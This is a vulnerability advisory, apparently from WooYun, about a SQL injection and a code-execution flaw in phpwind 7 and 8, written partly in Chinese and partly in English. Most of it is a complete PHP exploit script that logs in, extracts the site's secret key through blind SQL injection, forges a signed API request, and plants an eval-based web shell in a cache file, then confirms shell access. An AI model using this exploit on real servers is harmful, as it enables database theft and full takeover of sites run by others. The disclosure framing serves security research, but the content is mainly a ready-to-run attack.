phpwind多个远程代码执行漏洞

题目：phpwind multiple sql injection vulnerability

威胁程度：控制应用程序系统

错误类型：输入验证错误

利用方式：服务器模式

受影响系统

phpwind 7

phpwind 8

详细描述

phpwind 7和8版本存在输入验证漏洞，攻击者成功利用该漏洞可以远程执行任意php代码。

问题存在于pw_ajax.php中，由于用户提交给fieldname参数的数据缺少充分的过滤，攻击者可利用漏洞进行SQL注入攻击获取任何数据库里的数据。

另外class_other.php中存在一个任意ming令执行的漏洞，由于对$class[cid]输入缺少充分过滤，不过进入此逻辑需要一些较为关键的key，借助上面的注射漏洞即可获得该key。

PHPWind has a sql injection vulnerability, which can be exploited by malicious people to conduct SQL injection attacks.

Input passed to the "fieldname" Parameter in pw_ajax.php is not properly sanitised before being used in a SQL query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

In addition Input passed to the "$class[cid]" Parameter in class_other.php is not properly sanitised before being used in a SQL query. But in order to reach this logic code need some important key, attacker could exploit above sql injection vulnerability to get key .

测试代码

<?php

echo "

         Info: Poc for Phpwind远程ming令执行

         Test: exploit.php user password http://www.wooyun.org/phpwind/

          ";

            if($argc<3){

                   echo "\r\n参数缺少\r\n";

                   die();

               }

$user=$argv[1];

$pass=$argv[2];

$pwurl=$argv[3];

$myheader=array(

'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',

'Accept-Language: zh-cn,zh;q=0.5',

'Accept-Charset: gb2312,utf-8;q=0.7,*;q=0.7',

'Content-Type: application/x-www-form-urlencoded; charset=UTF-8',

'Referer: http://www.wooyun.org/',

'Connection: Keep-Alive',

'Cache-Control: no-cache',

'User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; InfoPath.2)'

);

$cookie="";

$str=curlsend("$pwurl/login.php?","POST",0,$myheader,"forward=&jumpurl=http%3A%2F%2F127.0.0.1%2FPHPWind/upload%2F&step=2&lgt=0&pwuser=$user&pwpwd=$pass&hideid=0&cktime=31536000&submit=%B5%C7%C2%BC",1);

preg_match_all("/Set-Cookie:([^;]+)/is",$str,$array);

for($i=0;$i<count($array[1]);$i++){

$cookie=$cookie.";".$array[1][$i];

}

//echo $cookie;

$test = curlsend('$pwurl/pw_ajax.php',"POST",0,$myheader,'',1);

if(strpos($test,'<ajax>')) {

die('用户密码或者其他参数错误');

}

$shellcode="action=pcdelimg&fieldname=db_value%20from%20pw_config%20where%20db_name%20like%200x64625f736974656f776e65726964%20and%20db_value%20like%200x{offset}25%20union%20select%200x612e2e;%23";

$hash="0123456789abcdef";

$craked="";

for($i=0;$i<32;$i++){

for($n=0;$n<16;$n++){

$tmp=str_replace("{offset}",bin2hex($craked.$hash[$n]),$shellcode);

$tmp=curlsend("$pwurl/pw_ajax.php","POST",0,$myheader,$tmp,0);

if(strpos($tmp,"pw_config")){

echo "CrackEd Offset ".($i+1)." :".$hash[$n]."\r\n";

$craked=$craked.$hash[$n];

break;

}

}

}

 echo "Craked Magicdata :".$craked."\r\n"; 

echo "Get shell :"; 

//another 0day

$arg='';

$hack = array();

$hack['mode'] = 'Other';

$hack['method'] = 'threadscateGory';

$hack['params'] = 'a:1:{s:3:"cid";a:1:{s:3:"cid";a:1:{s:3:"cid";s:21:"\'.eval($_GET[c]).\'abc";}}}';

$hack['type'] = 'app';

$hack = strips($hack);

ksort($hack);

reset($hack);

foreach ($hack as $key => $value) {

if ($value && $key != 'sig') {

$arg .= "$key=$value&";

}

} 

$arg.='sig='.md5($arg.$craked); 

echo file_get_contents("$pwurl/pw_api.php?".$arg);

echo "OK\r\n"; 

$str=file_get_contents("$pwurl/data/bbscache/info_class.php?c=echo%20Just_wooyun;");

if(strpos($str,'wooyun')){

echo "Got shell :"."$pwurl/data/bbscache/info_class.php?c=phpinfo();";

echo "\r\nOver!";

}

function strips($param) {

if (is_array($param)) {

foreach ($param as $key => $value) {

$param[$key] = strips($value);

}

} else {

$param = stripslashes($param);

}

return $param;

} 

function curlsend($url,$method=false,$ssl=0,$myheader,$data='',$header=0){

global $cookie;

$ch = curl_init(); 

$timeout = 0; // set to zero for no timeout

curl_setopt ($ch, CURLOPT_URL, $url);

curl_setopt ($ch, CURLOPT_POST, $method);

curl_setopt($ch,CURLOPT_HTTPHEADER,$myheader);

curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);

curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);

curl_setopt ($ch, CURLOPT_COOKIE, $cookie);

if($data){

curl_setopt ($ch, CURLOPT_POSTFIELDS,$data);

}

curl_setopt ($ch, CURLOPT_HEADER, $header);

if($ssl){

curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);

} 

$handles = curl_exec($ch);

curl_close($ch);

//echo $handles;

return $handles; 

}

解决方案

目前没有详细解决方案提供：http://www.phpwind.net

相关信息    http://www.wooyun.org/bug.php?action=view&id=417  结界师